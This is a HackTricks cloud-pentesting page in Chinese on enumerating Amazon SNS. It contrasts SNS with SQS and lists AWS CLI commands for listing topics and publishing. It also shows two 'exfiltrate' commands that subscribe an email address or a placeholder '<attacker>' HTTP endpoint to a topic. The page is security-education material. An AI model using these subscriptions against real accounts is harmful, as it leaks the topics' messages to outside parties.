AWS - SNS Enum

支持 HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) 被描述为一个完全托管的消息服务。它支持应用到应用 (A2A) 和应用到人 (A2P) 的通信类型。

A2A 通信的关键特性包括发布/订阅 (pub/sub) 机制。这些机制引入了主题,对于实现高吞吐量、基于推送的多对多消息传递至关重要。在涉及分布式系统、微服务和事件驱动的无服务器架构的场景中,这一特性非常有利。通过利用这些主题,发布系统可以高效地将消息分发给广泛的订阅系统,促进扇出消息传递模式。

与 SQS 的区别

SQS 是一种基于队列的服务,允许点对点通信,确保消息由单个消费者处理。它提供至少一次交付,支持标准和 FIFO 队列,并允许消息保留以进行重试和延迟处理。 另一方面,SNS 是一种发布/订阅服务,通过将消息同时广播给多个订阅者来实现一对多通信。它支持各种订阅端点,如电子邮件、SMS、Lambda 函数和 HTTP/HTTPS,并提供过滤机制以实现有针对性的消息传递。 虽然这两种服务都能在分布式系统中实现组件解耦,但 SQS 专注于队列通信,而 SNS 强调事件驱动的扇出通信模式。

枚举

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

注意,如果主题是FIFO类型,只能使用协议为SQS的订阅者(不能使用HTTP或HTTPS)。

此外,即使--topic-arn包含了区域,确保在**--region**中指定正确的区域,否则你会遇到一个看起来像是没有访问权限的错误,但实际上问题是区域不正确。

未经身份验证的访问

AWS - SNS Unauthenticated Enum

权限提升

AWS - SNS Privesc

利用后操作

AWS - SNS Post Exploitation

持久性

AWS - SNS Persistence

参考资料

支持HackTricks

Last updated